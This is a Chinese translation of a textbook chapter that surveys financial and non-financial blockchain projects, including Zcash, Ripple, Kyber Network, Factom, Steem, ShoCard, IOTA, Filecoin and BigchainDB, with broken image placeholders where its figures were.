区块链基础知识(三)

原文:zh.annas-archive.org/md5/70e290e9f76882896adba256279d5064

译者:飞龙

协议:CC BY-NC-SA 4.0

第八章:区块链项目

虽然去中心化应用DApps)可以取代一些集中式应用,但它们的架构、基础设施和实现与传统的集中式应用大不相同。并非每个区块链实现都能证明其相比现有实现的优势。本章的目的将是探索一些能够革新去中心化网络的项目。

在本章中,我们将研究金融和非金融区块链项目。自比特币发明以来,已经出现了两千多种加密货币(称为山寨币),并引起了广泛关注。该技术的广泛使用引起了风险资本家的注意,促使他们投资于主要专注于集中式交易所、钱包或创建自己的加密货币解决方案的项目。2015 年之前,区块链技术的应用主要偏向于加密货币,但借助区块链平台,去中心化应用的采用创造了金融以及非金融领域巨大的创新机会。

在任何集中式应用中,总是需要一个中介。但去中心化应用不再需要这些中介。从现有应用中消除中介或中央权威的概念对许多开发者和投资者具有吸引力,因为这可以减少因这些实体而产生的成本。

许多社区成立是为了提升现有区块链功能,并改善去中心化应用中的终端用户体验。这导致了一个对吸引人的区块链应用的市场需求以及广泛的消费者群体。

对于初学者来说,探索日益增长的区块链市场是一项艰巨的任务。此外,寻找能满足用户需求的应用程序很困难。这主要是因为你正在寻找的实现很可能会在众多应用中迷失。分类并识别一个好的实现需要大量的探索。首先,我们将在接下来的部分对广泛的应用进行分类,然后深入一些令人兴奋的区块链项目。

对区块链项目进行分类

不同的机构利用区块链技术创建了去中心化应用或概念验证,以最大限度地利用区块链可以提供给他们的东西。正在探索区块链的机构可能有金融或非金融用例。基于此,我们将广泛地将区块链应用分为金融和非金融项目。

金融项目

任何具有经济价值的现实资产都可以直接映射到数字资产。任何利用这些可交易数字资产的项目都可以被归类为金融项目。虽然所有涉及可交易资产的应用程序都可以被归类为金融项目,但它们也可能有非金融用例。

大多数早期与区块链相关的项目都是金融项目。这主要是因为实施受到了比特币的影响,而比特币本身正试图在互联网上分散货币的控制。这影响了许多开发者社区致力于与加密货币密切相关的项目。创建了许多交易所、代币分发平台和支付网络,这迫使银行服务直接参与,以便现有银行客户能够利用加密货币应用程序。

尽管区块链技术在非金融应用方面也很有用,但只有轻量级金融应用程序才能获得广泛的受众,并且由于广泛的曝光,才能创建一个弹性系统。尽管许多金融应用程序并不一定局限于加密货币,但许多最初的金融应用程序都是加密货币,特别是PeercoinLitecoin,它们试图模仿比特币通过修改协议来实现更好的性能。

非金融项目

在比特币的早期,人们担心底层技术的可扩展性以及其未来的范围。尽管加密货币通过其基于 P2P 的系统使互联网货币的去中心化成为可能,但其真正的技术尚未完全开发。几个开发者社区开始在比特币区块链上构建应用程序,以利用比特币区块链所实现的去中心化。由于比特币区块链的可扩展性限制和隐私问题,许多项目通过定制比特币实现并分叉比特币区块链而创建。

随着技术潜力变得明显,很快就将其实现在数字身份、供应链、资产管理等许多其他用例中,以替代一些过时的技术。由于区块链技术的限制,并不是所有的实施都成功了,但开发人员能够找到与加密货币直接无关的用例。这为组织探索非金融领域的区块链技术铺平了道路。许多需要替换其现有技术的非金融组织开始将区块链作为解决方案实施。因此,出现了几种替代比特币的实现以服务非金融用例。

我们将通过研究一些应用程序来探索一些金融和非金融项目的子类别。

金融区块链项目

在本节中,我们的目标是通过对早期金融领域中区块链的几个实现进行分类来探索区块链在金融领域的应用。

加密货币

区块链的概念自比特币首次引入以来已经发展。尽管比特币的基础技术已经应用于多个不同领域,但加密货币被认为是区块链技术的真正应用。此后已经创建了许多项目,有些项目效仿了比特币的实现,而其他项目解决了现有实现中的问题。

尽管可以找到许多具有与比特币相似属性的加密货币,但它们不一定解决相同的问题。事实上,许多这些货币的创建只是为了激励网络中的参与者。

我们将在 加密代币 部分讨论这些货币。探索所有加密货币是相当困难的,因为几乎每天都会创建一个新的实现。我们将试图通过将加密货币分类为可追踪不可追踪来简化这个问题。

可追踪的加密货币

正如我们所知,比特币的区块由可以被网络上任何参与者检索和解析的交易集合组成。比特币的创建目的是分散对货币的控制。这带来了隐私成本,因为每笔交易都是公开的,因为它需要被网络上的节点验证。这意味着任何网络中的人都可以追溯到每笔交易的起源。

比特币提供了伪匿名性,因为账户持有者的公共地址不需要与其真实身份关联。这样一来,即使所有交易都是公开的,也可以防止账户所有者的身份被披露。然而,如果用户的身份被披露,他们的整个交易历史可能会被泄露。尽管存在这些风险,透明的、公开可见的交易并不会造成太多麻烦,因为存在伪匿名性。

许多加密货币都效仿比特币创建了完全透明的交易账本。Litecoin、Namecoin 和 Peercoin 是一些加密货币,它们不仅模仿了比特币项目,而且在某种程度上增强了其功能。

不可追踪的加密货币

后来又开发了许多加密货币来掩盖私人交易信息并使交易无法追踪,从而解决了比特币和其他类似加密货币面临的隐私问题。ZcashMoneroBitcoin Private 是一些试图通过掩盖交易中的私人信息来保护用户隐私的加密货币。我们将探讨 Zcash 如何通过创建无法追踪的交易来实现隐私保护。

Zcash

Zcash 通过隐藏发送方、接收方和价值信息来创建隐私交易。Zcash 是第一个在区块链技术中使用零知识证明密码原语的加密货币,该技术于 2016 年 10 月发布。

零知识证明是一种系统,其中用户可以证明他们拥有某种知识,而不向验证者披露该知识。零知识证明确保向验证者提供的信息不会危及证明者的隐私。在常规交易中,用户通过使用秘密密钥签署交易来证明他们拥有资产。Zcash 为交易创建了一种零知识证明,即使用户没有提供太多信息,也可以验证:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 8.1:遮盖了 zk-SNARK 协议的 Zcash 交易输入和输出(来源:z.cash

Zcash 使用一种新型的零知识证明形式,称为zk-SNARK,它代表零知识简洁非交互知识论证。 zk-SNARK 证明了信息的所有权,例如私钥,而无需共享或与验证者通信。这样,即使是完全加密的隐私交易,也可以通过使用 zk-SNARK 证明来验证。

深入讨论 zk-SNARK 协议超出了本章的范围。我们将在第九章中进行深入讨论,区块链优化和增强

加密代币

任何不是主要用于交换价值的加密货币都被视为一种特殊类型的代币。这些代币具有与任何其他加密货币相同的功能,因为它们被创建来在分散网络中运行。 这些代币可以分为两种类型:

  • 安全代币:安全代币代表真实的物理资产,例如公司股份或任何形式的财务收入。这些类型的代币还具有预定义的经济价值,类似于代币的价格。

  • 实用代币:实用代币是为了推动项目并在启动后为其持有者提供对项目提供的服务的访问权限而创建的。这些代币没有固定的经济价值,其价格将由其创建者决定。

代币发行

首次代币发行ICO)是为前述代币筹集项目的初始资本而创建的。ICO 是一种众筹过程,任何愿意为项目做出贡献的人都可以成为其一部分,并拥有一定数量的代币。ICO 可以提供任何类型的代币,但安全代币由于其可见的经济价值而是最安全的代币。但这使 ICO 变得更加复杂,因为它需要您使用了解您的客户KYC)程序来识别用户的身份。与安全代币相比,实用代币在 ICO 中最常用,因为它们相对于安全代币来说定义代币功能的简单性。

大多数 ICO 期间提供的代币是在现有的区块链网络上使用像以太坊这样的区块链平台创建的。以太坊有一个称为 ERC-20 的标准用于智能合约的创建,该标准用于在以太坊区块链上发行代币。其他区块链平台提供商,如 NEO,也有标准化的(NEP-5)代币创建以支持其区块链上的 ICO。我们将通过在第十二章中实现一个众筹用例来更多地探讨 ICO,区块链用例

Ripple 支付网络

Ripple 是一个支付网络,为 SWIFT 等现有全球支付系统提供解决方案。它帮助现有支付系统解决了延迟、不可靠和昂贵的交易问题。它通过使用涟漪共识算法的计算机网络在称为涟漪共识账本(RCL)的分布式分类账上结算和记录交易来实现这一点。

Ripple 使用案例

Ripple 提供了广泛的用例,尤其是针对全球支付。我们现在将看几个例子。

跨境支付

Ripple 提供了一个全球支付解决方案,这意味着可以在不同国家建立支付渠道。这使得银行能够实时结算跨境支付,实现端到端的透明度,并以低成本完成。随着 Ripple 采用的增长,货币和交易对的数量将增加,流动性提供商需要为每种货币的每个交易对维护账户:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 8.2:跨境支付渠道(来源:https://ripple.com)

Ripple 代币作为货币桥梁

Ripple 可以在任何银行之间创建一个货币对,借助 Ripple 自己的代币 XRP。与任何其他传统中介货币转换不同,XRP 不需要银行账户:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 8.3:XRP 作为货币桥梁(来源:ripple.com

Ripple 网络

瑞波网络由一组类似比特币全节点的服务器组成。它们合作达成对网络状态的共识。瑞波维护一个公共账本,该账本不断更新着所有交易的全球真实状态。

瑞波的去中心化账本有两种状态:最近已关闭账本开放账本。最近已关闭账本状态是瑞波网络达成一致的最近账本状态。开放账本接受新交易追加以便其状态可以改变。

每个瑞波节点维护一组称为唯一节点列表UNL)的节点列表,该列表将直接为账本状态做出贡献。 UNL 是瑞波网络中受任何服务器信任以达成共识的节点的子集。 UNL 成员将为应插入账本的有效交易投票。

瑞波共识算法

瑞波协议共识算法RPCA)是网络中的节点每隔几秒执行一次的过程,以达成网络共识。在网络节点成功达成一致后,账本将保持关闭状态。在成功将交易添加到账本之前,RPCA 必须经过几个强制步骤:

  1. 每个服务器收集所有已知的有效交易,这些交易尚未成为账本的一部分,并将其公开。这些未确认的交易称为交易候选列表。

  2. 每个服务器收集来自 UNL 服务器的所有候选列表。收到所需数量的正面投票的交易将被选中进入下一步。

  3. 最后,确保每笔交易至少获得 80% 的服务器 UNL 投票。满足此规则的所有交易都将附加到账本上。

瑞波币(XRP)

瑞波发行了总共 1000 亿个 XRP 代币,其中大部分由瑞波社区持有。瑞波可以在 3.5 秒内结算一个代币交易,并且可以立即使用。虽然 XRP 代币是瑞波网络的一部分,但瑞波并不一定需要 XRP 代币来执行跨境支付。

加密货币交易所

加密货币交易所是一个第三方平台,允许用户将一种加密货币转换为另一种资产或不同的加密货币。这些交易所主要用于将法定货币,如美元,转换为加密货币或反之。加密货币交易所通常是中心化服务器,并且他们维护一个可扩展的服务器以匹配用户的买入和卖出请求。他们维护一个订单匹配引擎,记录所有买入和卖出请求,并在匹配买入请求和卖出请求时发起交易。交易所会为每个执行的交易收取一小笔费用。

加密货币交易所的一个缺点是它们是去中心化的加密货币网络中的一个集中化模式。许多去中心化的加密货币交易所已经被创建,以便将货币直接从一个用户的钱包转移到另一个用户的钱包而不必将其转移到交易所。Kyber Network、0x 和 OmiseGO 是一些知名的去中心化交易所。

去中心化交易所

由于区块链技术的潜在应用,越来越多的人参与其中。特别是,加密货币市场正在增长。新的货币定期推出,市场上已经有超过 2,000 种加密货币。这意味着人们需要同时涉足多种货币,并且需要将一种货币兑换成另一种货币。加密货币交易所帮助用户通过在市场上下订单来交换他们的代币。尽管交易所允许用户交换资产,但他们需要用户将资产转移到这些交易所维护的账户上。这在去中心化生态系统中造成了加密资产的集中化。这使得大多数在中心化交易所上发生的交易容易受到内部欺诈和外部黑客攻击。一些关于这些中心化交易所的黑客事件已经有报道。日本交易所 Mt. Gox 的一次黑客攻击是加密货币历史上最大的一次黑客攻击。

去中心化交易所消除了货币转换过程中所需的中间人,并且它们不维护订单簿。与中心化交易所不同,它们不会针对每笔交易收取费用。

Kyber Network

Kyber Network 是一个链上的去中心化交易所,允许用户轻松地转换代币,而无需任何信任。Kyber Network 在以太坊区块链上运行,目前支持所有以太坊代币。它将来会支持跨链交易。

设计

Kyber Network 运作所需的一些重要组成部分如下:

  • 用户:网络的用户是去中心化交易所的支柱。每个用户的钱包充当与网络通信的接口。它支持与现有应用程序(如 Status 和 MetaMask)的集成,以管理用户账户。通过与这些应用程序集成,有助于将用户账户与 Kyber Network 无缝集成。

    MetaMask 是一个桥梁,帮助开发者将用户界面与区块链网络集成。MetaMask 提供了一个浏览器扩展,使得 Web 应用可以与区块链进行通信。

  • 智能合约:交易所的功能逻辑被编码在智能合约中,并部署到区块链上。每个主要功能都有不同类型的合约。

  • 储备:这些是交易所中的资产容器。储备可以由 Kyber Network 或第三方维护。

  • 储备贡献者:这些是为储备提供资金的实体。

  • 储备经理:负责维护储备并确定货币的交易汇率的实体。

  • Kyber Network 运营商:该实体负责向网络添加和删除储备实体,以及列出和注销网络中的代币对。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 8.4:Kyber Network 的组件(来源:kyber.network/

图 8.4连接了 Kyber Network 的所有组件,形成了分散交易生态系统的概述。用户通过用户钱包提供的用户界面与 Kyber Network 合约进行通信,发起交易操作。智能合约与储备进行通信,执行信用或借记操作。储备经理获取交易汇率,智能合约确保选择最佳的交易汇率进行交易。

Kyber Network 与现有交易所的一些属性有所不同,包括:

  • 不像中心化交易所,Kyber Network 不持有用户的任何资产。这意味着它不是攻击的目标。

  • 由于交易在区块链网络上运行,因此可以访问任何类型的帐户,包括合同。智能合约可以与交易所进行通信,而无需任何中介。这为分散自治组织DAO)开辟了全新的机会,组织的管理规则可以由网络成员而非中央机构决定。

  • 所有交易请求几乎立即执行,用户将能够立即在其钱包中访问已转换的货币。

总结一下,由于其分散化模型,Kyber 在区块链生态系统中具有很大的潜力,这使其可以完全融入到任何分散系统中。

非金融区块链项目

在金融领域成功实施区块链技术后不久,区块链技术也在非金融领域得到了应用。我们将进一步对其进行分类,探索一些这样的实施。

资产管理

在现实世界中管理资产是一项充满挑战的任务,因为它需要中介来维护包含资产完整历史的记录。中介需要在为用户提供资产信息之前证明其合法性。在无信任的网络中建立信任是一项昂贵的任务。区块链技术帮助实现通过管理的分散化建立信任。

数字化物理资产的现有数字化表示是区块链应用的关键特征之一。物理资产的数字表示可以在分散网络中进行管理。

Factom

Factom提供了精确、可验证和不可变的审计跟踪资产管理,并消除了信任的需要。记录管理带来了保护、同步和验证记录信息的困难问题。许多传统方法仍然需要一些手动操作,这使得扩展和准确性变得更加困难。

Factom 为解决个人或组织数据安全管理问题提出了一种解决方案,通过发布加密数据或数据指纹到分布式账本上。Factom 还允许用户审核和验证在区块链上发布的数据。Factom 通过在比特币区块链之上运行的分布式协议来实现这一点。

设计

Factom 提出了一种快速、廉价和无杂糅的开发基于区块链的应用程序的方法。Factom 体系结构的主要工作流程涉及以下步骤:

  1. 服务器创建将记录在 Factom 自己的链中的块

  2. Factom 将一个锚(目录块的哈希)安全地放在比特币区块链上

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 8.5:Factom 生态系统(来源:www.factom.com

图 8.5所示,比特币区块链是 Factom 设计的最后一层,它只存储关于资产的最小信息。Factom 通过仅在不可变的比特币区块链上存储实际信息的摘要来创建锚到比特币区块链。

Factom 是通过形成一组块的层次结构而创建的,其中目录块与比特币区块链建立连接。层次结构本身构成了一系列引用,如图 8.6所示。目录块中的每个引用只是一个条目块及其链 ID 的哈希。这些条目块有引用,指向在某个时间段内到达的特定链 ID 的所有条目。链 ID 的条目块也是微链的一部分。Factom 中的大部分数据都在末端,即条目本身。由于比特币的不可变性,这些层次数据结构被认为是不可修改的。

Factom 系统中的层和概念如下:

  • 目录层:这组织了条目块的默克尔根

  • 条目块层:这组织了对条目的引用

  • 条目:这包含应用程序的原始数据或其私人数据的哈希值

  • :这是特定于应用程序的一组条目

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 8.6:Factom 的分层架构(来源:www.factom.com

Factom 产品

Factom 为私营企业和公众提供了几种解决方案。以下是 Factom 的一些产品:

  • Factom Harmony:这是为解决抵押行业的问题而创建的。通过使用 Factom 的透明度,它减少了使用文件、法律和合规费用。

  • dLoc:这是一个文件认证验证系统。Factom 与 Smartrac 合作,Smartrac 是一家领先的射频识别RFID)产品制造商,使用该技术标记了可以被 RFID 标记的任何资产。

社交媒体平台

社交媒体是一个任何人都可以发布内容的地方,分享他们的观点、技能或知识,以帮助那些需要这些资源的人。尽管有多个不同目的的社交媒体平台,但并没有定义内容创作者如何为他们的贡献获得报酬的标准。基于区块链的网络有助于通过奖励社交媒体平台上的工作来对网络内容进行代币化。这是通过创建基于奖励的去中心化社交网络平台来实现的,如 Steemit、Sapient Network、Indorse 和 Sola。

Steemit 是一个博客平台,内容创作者和评论者根据他们的贡献得到公平的奖励。Steemit 使用 Steem 区块链来管理其平台上创建的每篇帖子或评论的奖励过程。我们将探索 Steem 区块链,以了解其对社交媒体平台的奖励系统。

Steem

用户生成的内容一直为社交媒体平台巨头的创始人和股东赚取了数十亿美元。另一方面,内容创作者几乎没有得到任何认可,并且对他们的贡献获得的报酬非常少。Steem 通过将大部分股息返还给内容的贡献者来支持在线社区,这些贡献者首先为平台带来了价值。

Steem 是一个基于区块链的奖励系统,社区建设和社交互动可获得加密货币奖励。Steem 通过公平的会计系统鼓励用户参与社区,准确地奖励他们的贡献。它是一种基于工作证明的货币,其计划的区块生成时间为 3 秒。

Steem 中的投票模型

Steem 平台有一种加密货币代币,称为 STEEM。Steem 以“一 STEEM,一票”的方式运作。在这种模式下,根据其账户余额衡量的对平台做出最大贡献的个人对贡献的评分具有最大影响力。

与 Steem 类似的现有系统允许消费者通过小费来向贡献者支付报酬,通常是通过微支付渠道。这些平台的缺点在于激励模型,并不总是激励良好的内容。Steem 的设计是为所有类型的贡献实现有效的微支付。内容消费者不必决定如何以及多少小费给内容创作者;相反,他们对内容进行投票,Steem 平台将使用他们的投票来确定个人奖励。

在 Steem 中投票可以准确地确定内容的质量,并相应地奖励内容创作者,而其他平台不一定会向内容创作者提供公平的奖励。Steem 奖励那些对内容的总价值做出最大贡献的人,并按照最终支付给内容创作者的奖励比例奖励投票者。

Steem 代币

Steem 中有三种主要的代币:Steem(STEEM)、Steem Power(SP)和 Steem Backed Dollars(SBD)。

STEEM

STEEM 是 Steem 区块链上的加密货币代币。STEEM 可以在交易所轻松购买和出售。

SP

SP 基本上是锁定在一个为期 13 周的投票基金中的 STEEM,为平台提供额外的利益。Steem 用户对奖励分配的影响与他们拥有的 SP 数量成正比。SP 持有者还可以从他们的持有中获得利息。最早的投票获得最大的奖励份额,因为奖励是根据时间分配的。

SBD

任何货币的用户都希望其价值稳定。SBD 的设计旨在通过将其价值与 1 美元挂钩,为加密货币世界带来稳定。这种代币确保最大程度地使代币持有人受益,并使区块链网络能够增长。由于代币的稳定性,它可以在交易所与其他加密货币进行交换。

Steem 中的共识

与其他区块链应用程序一样,在 Steem 中使用共识机制来将任何区块的交易包含在公共分类账中。负责包含一个区块的个人由 Steem 网络中的人民选出。区块创建是在轮次中进行的,每轮选择 21 名见证人创建区块。任何错过一个区块且在过去 24 小时内未生成区块的见证人将被禁用,直到他们更新其区块签名密钥。

共识机制确保每个人都有可能参与区块生产,无论他或她是否足够强大以至于最终处于顶部。拥有更多的 SP 可提高用户的投票权。

数字身份

数字身份是比特币原始区块链实现的固有特征之一。它标识了资产的所有者。它还可以存储重要的用户信息,该信息可以在用户同意的情况下与任何第三方共享。存储在区块链上的用户数字身份可以与不同的应用程序共享,从而减少用户的 KYC 操作的不必要重复以验证身份。此外,区块链提供的数字身份确保了用户的身份可以在全球范围内验证。

许多组织正在致力于区块链的数字身份功能,以便他们可以摆脱使用服务器来维护用户的机密数据的依赖性。像 IBM 和微软这样的科技巨头正在不断探索在区块链领域标准化数字身份的方法。

ShoCard 身份管理

ShoCard 是一个身份管理服务,采用区块链技术构建,用户可以拥有和保护他们的数字身份。用户可以向任何人证明他们的身份,他们还可以决定与谁分享他们的详细信息。第三方可以使用区块链验证信息的真实性,而无需集中式验证器。

ShoCard 架构旨在提供非常高的交易吞吐量。它使用工作证明在短时间内认证大量用户。ShoCard 目前提供两种产品:

  • 软件即服务SaaS)的嵌入式模型

  • ShoBadge,一个完整的企业级 身份提供者IdP)解决方案

ShoCard 架构

ShoCard IM 平台提供了 软件开发工具包SDK) 用于与应用程序集成。ShoCard IM 平台由以下模块组成:

  • ShoCard SDK

  • ShoCard 服务层

  • ShoCard 侧链

  • 区块链缓存

  • ShoCard 区块链适配器

ShoCard 有一个服务层,位于应用程序和服务器之间。由于所有消息都是加密的,在通信过程中服务层无法读取数据:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 8.7:ShoCard 架构

以下是 ShoCard 服务的一些职责:

  • ShoCard 服务器充当安全通信管道,并简单地将信息写入区块链。

  • ShoCard 服务层负责管理所有客户端 SDK 和区块链之间的接口。

  • ShoCard 侧链用于提高吞吐量。认证数据存储在侧链中,只有散列数据存储在公共区块链中。

  • 区块链还会缓存区块链的本地副本,以实现更快的读取访问,从而验证可以独立于公共区块链的情况下进行管理。

  • ShoCard 区块链适配器抽象出维护工作证明的区块链接口,因此 ShoCard 服务层可以保持高效。

ShoCard 使用不可变的公共区块链来验证用户的身份,但不是为了存储用户的详细信息。由于公共区块链数据提供了高度的透明度,因此存储在区块链中的数据应仅用于验证用户证书。区块链充当证书的存储库。

ShoCard 的一些用例包括:

  • 无密码登录

  • 通过为整个旅程或逗留创建一个具有数字身份的单一旅行令牌,改善客户在机场和酒店的旅行体验

  • 自动注册

  • 身份验证

  • 年龄验证

shocard.com/identity-management-use-cases 查看 ShoCard 身份管理用例的详细列表。

物联网(IoT)中的区块链

IoT 领域中的许多公司,例如 Filament、Xage 甚至 IBM 的 Watson 平台,都在寻求实现更好的连接和存储的替代技术。区块链的引入促使这些公司将物联网和区块链融合,许多公司已经成功地整合了它们,获得了超出现有实施的好处。

由于区块链承诺为自主产品提供基础,它保证产生可信物联网IoTT)。将区块链与物联网合并的原因之一是在设备之间建立信任、降低成本和增加交易速度。从定义上讲,物联网是分布式的,这使得更容易在分布式区块链分类账中采用用例。

IOTA

IOTA是一个开源的分布式分类账,旨在通过无费微交易来推动物联网的未来。由于将有数十亿台连接到互联网上需要高效交换信息的设备,需要一种可扩展的解决方案,其中每秒需要处理数百万次交易。 IOTA 提议使用修改后的交易模型为物联网世界中的机器对机器通信提供可扩展的解决方案。

IOTA 维护其分布式分类账的方式与现有的去中心化应用程序完全不同。 IOTA 不能被归类为区块链项目,因为它不使用区块链作为其基础技术。 IOTA 使用有向无环图DAG)技术而不是区块链中的区块来创建和维护交易。 交易确认时间非常快,由于不受区块创建时间的限制,交易吞吐量没有限制。

IOTA 基于一种称为Tangle的新型分布式分类账,尝试解决区块链设计中的一些问题,试图通过引入一种新的达成去中心化 P2P 系统共识的方式来创建一个高效和可扩展的系统。

Tangle 是一种保存区块链安全交易特性的分布式分类账,它消除了双花问题,但不会将交易存储在区块中。

设计

对于每个新交易,在 Tangle 中验证两个随机的未确认交易。每次验证交易增加了交易是真实的可能性。每个交易都应该接收一定数量的验证才能被接受为确认交易。在 IOTA Tangle 中,一些交易将具有较少的验证,而其他交易将具有足够数量的验证。

用户必须验证其他两个随机选择的交易才能发送创建的交易。随后其他用户应验证该交易。由于每个节点都贡献于分布式分类账,其架构本质上是去中心化的。IOTA 与最初将确认所有交易的协调员一起工作。

一旦网络变大,协调员就可以移除。目前,IOTA 使用Kerl,即 SHA-3 的一种版本,作为哈希函数,可以与三元(而不是二元)操作配合使用。

IOTA 在每笔交易中使用工作量证明来防止垃圾邮件,与 Hashcash 中使用的工作量证明精神类似。

IoT 中的 IOTA

尽管我们已经听说了相当长时间的 IoT,但它实际上并没有为一般观众做出多少贡献。市场上的物联网产品倾向于增加用户的奢侈品,但它们不一定能解决现实问题。IoT 设备必须替换大多数孤立设备,并且它们应该能够以相当高效的方式相互通信。IOTA 的架构确保了随着设备数量的增长,通信可以很容易地扩展。

数据存储

P2P 网络协议的一个重要应用是数据存储的分散化。BitTorrent是第一个通过 P2P 网络实现数据存储分散化的协议。随后实施的星际文件系统IPFS)协议用于创建分布式文件系统,并在其后期实现中还利用了比特币区块链技术。

已经创建了几个使用了分布式文件系统的区块链项目,节点通过代币获得激励来贡献存储在网络上。已经引入了不同的共识算法,这些算法对存储、数据检索和激励过程至关重要。

一些基于区块链的分布式数据存储项目如下:

  • Storj

  • MaidSafe

  • Filecoin

  • Siacoin

Filecoin

Filecoin 是一个分布式存储网络,将其存储网络转化为一个算法市场。加密货币证明了像数字货币这样的重要资产可以在不需要中介的情况下交易。但这些货币只在网络上具有分散的交易信息。在区块链网络中分散大量数据是昂贵且缓慢的,并且数据不需要像交易那样被验证,因为每个数据块与其他数据块无关。已经创建了许多协议来实现分布式数据存储,以便数据可以在不需要第三方的情况下被有效地获取。IPFS 就是这样的协议之一,通过使网络本身分散化,证明了内容寻址的实用性,在全球 P2P 网络中使用数十亿个文件。

Filecoin 通过区块链的帮助提供了一个激励模型,建立在 IPFS 存储协议之上。Filecoin 为去中心化存储创建了一个市场。提供分布式存储网络空间的节点被称为矿工,它们类似于比特币中的矿工,尽管它们提供的是计算能力。消费者向矿工支付 Filecoin 作为他们的存储贡献的报酬。Filecoin 网络通过在存储网络中复制和分散内容来实现稳健性。

Filecoin 区块链中的共识是通过证明空间时间实现的,借出存储空间的矿工有资格创建区块。Filecoin 协议为消费者提供数据存储和检索服务。

IPFS

IPFS 是一个旨在创建可寻址内容和 P2P 存储媒体的协议的分布式文件系统。2014 年,IPFS 采用了比特币区块链以存储需要不可变性的数据。

IPFS 中的文件通过它们的哈希标识,因此它们以友好的方式缓存。IPFS 使用一个单一的庞大群集,任何人都可以向任何其他人提供数据块;块共享不仅限于文件的对等方,与 BitTorrent 协议不同。IPFS 文件可以通过多种协议访问,如 HTTP。IPFS 有一个名为星际命名系统IPNS)的命名服务,与其他命名服务(如 DNS 和.onion)兼容。

Filecoin 共识

比特币中的共识算法实际上除了达成全局区块链状态的共识之外,没有为任何其他方面做出贡献。

比特币挖矿的困难使得一个节点参与挖矿过程非常昂贵。Filecoin 提出了一个有用的工作共识机制,确保矿工为达成共识所做的工作是有用的。

Filecoin 的有用共识协议选择一个矿工来创建一个区块,被选中的矿工的概率与其当前使用的存储相对于网络的其余部分成正比。因此,这个共识协议确保提供的存储量也被用作计算的证明。

Filecoin 的去中心化存储网络(DSN)

Filecoin 的 DSN 是基于激励审计和验证交易。网络中的客户向矿工支付费用来存储和检索数据。只有在网络审核提供的服务时,矿工才会得到支付。

网络中的不同参与者是客户存储矿工检索矿工

  • 客户通过 PUT 和 GET 请求支付费用来存储数据和检索数据在 DSN 中。

  • 存储矿工向网络提供数据存储。存储矿工通过提供磁盘空间并为客户提供 PUT 请求参与 Filecoin。要成为存储矿工,用户必须通过存款抵押他们的存储。存储矿工通过承诺在指定时间内存储客户的数据来响应 PUT 请求。存储矿工生成时空证明并将其提交到区块链以证明他们通过时间存储数据。如果存在无效或丢失的证明,存储矿工将受到惩罚并失去部分抵押。存储矿工也有资格挖掘新区块,这样做可以获得创建区块的挖掘奖励以及包含在区块中的交易费。

  • 检索矿工向网络提供数据检索。检索矿工通过提供用户通过 GET 请求的数据来参与 Filecoin。与存储矿工不同,他们不需要承诺、承诺存储数据或提供存储证明。存储矿工也可以自然地参与为检索矿工。检索矿工可以直接从客户获取数据片段,也可以从检索市场获取。

所有 Filecoin 节点的集合被称为 Filecoin 网络。Filecoin 网络负责存储网络的管理协议。管理涉及审计存储证明、修复可能的故障、管理可用存储和验证承诺。

Filecoin 市场

为满足 Filecoin 网络中的需求和供应请求,有两个市场:存储市场和检索市场。这两个市场具有相同的结构但不同的设计:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 8.8:Filecoin 市场

客户和矿工通过将其提交给市场来提出所需或提供的服务的价格。当交易匹配订单时,它将启动并执行交易。

Filecoin 通过可验证市场以分散的方式交换服务。矿工和全节点是可验证市场的参与者。可验证市场是一个具有两个阶段的协议:订单匹配和结算。

存储市场是一个可验证的市场,允许客户向矿工支付以存储数据。就像任何交易所一样,它维护着一个链上订单簿。订单簿是公开的,因此客户始终可以监视价格并相应地进行竞标。

检索市场是一个可验证的市场,允许客户向矿工支付以检索存储的数据。客户请求特定的信息片段,市场分配一个矿工来提供此数据。与存储矿工不同,检索矿工不需要生成存储证明。网络中的任何用户都可以成为检索矿工,通过为 Filecoin 中的奖励提供数据来交换服务。

BigchainDB

BigchainDB是继承了许多区块链系统属性的数据库软件。它汇集了结构化数据库(高交易速率和低延迟)和区块链系统(不可变性、去中心化和身份)的最佳特性。最初的 BigchainDB 实现并未实现纯净的去中心化,因为易受单点故障的影响。最近发布的 BigchainDB 通过确保节点的拜占庭容错BFT)来实现去中心化。这是通过集成用于网络和共识功能的Tendermint协议来实现的。

BigchainDB 的特性

BigchainDB 涵盖了分布式数据库和典型基于区块链系统的所有必要特性。虽然它并没有区块链数据库的理想特性,但它是一个出色的数据存储解决方案,是一个有用的去中心化数据库系统。

继承的区块链特性

BigchainDB 继承自区块链的特性包括:

  • 去中心化

网络中的每个节点都包含自己的 MongoDB 实例,用于维护所有交易。BigchainDB 是去中心化的,以确保没有单一所有者、控制点或故障点。即使第三方节点的三分之一出现故障,网络也会对此故障具有弹性。BigchainDB 通过使用称为 Tendermint 的中间件来确保 BFT。

Tendermint 不使用比特币的工作量证明算法来实现每个块的共识,因为这会消耗大量能源。它通过在验证节点之间达成共识来提供 BFT。验证节点通过广播投票参与共识协议,以决定追加下一个块。如果协议获得大多数选票(3 分之 2 的验证者),则将块提交到区块链。Tendermint 协议需要在每次将块插入区块链时运行此共识过程,以确定下一个块,因此它被称为基于轮次的协议。

  • **不可变性:**与传统数据库不同,BigchainDB 不对插入数据执行更新或删除操作。由于区块链的性质,交易只能追加。每个节点上的所有交易以不可变的方式在 MongoDB 实例中维护,类似于其他区块链系统。

  • **资产所有权:**与大多数基于资产的区块链应用程序一样,BigchainDB 提供资产管理操作,如资产创建和转移。用户可以通过拥有资产转移的账户的私钥来声明资产。一般情况下,诸如加密货币之类的区块链应用只有一种类型的资产,但 BigchainDB 可以创建用户所需的任意多种资产。所有资产管理操作都通过创建交易来执行,并验证每个交易,以确保免受双重花费等交易攻击的影响。

数据库继承特性

BigchainDB 的数据库继承特性包括以下内容:

  • **高交易吞吐量:**BigchainDB 是作为现有分布式数据库的替代品而创建的,同时还提供了区块链技术所提供的附加功能。虽然该数据库是按照区块链原则设计的,但它保留了数据库的特征。即使在分散网络中,它也能实现高交易速率。最新版本的 BigchainDB 每秒处理一千笔交易,这在其他基于区块链的存储应用中是高速的。

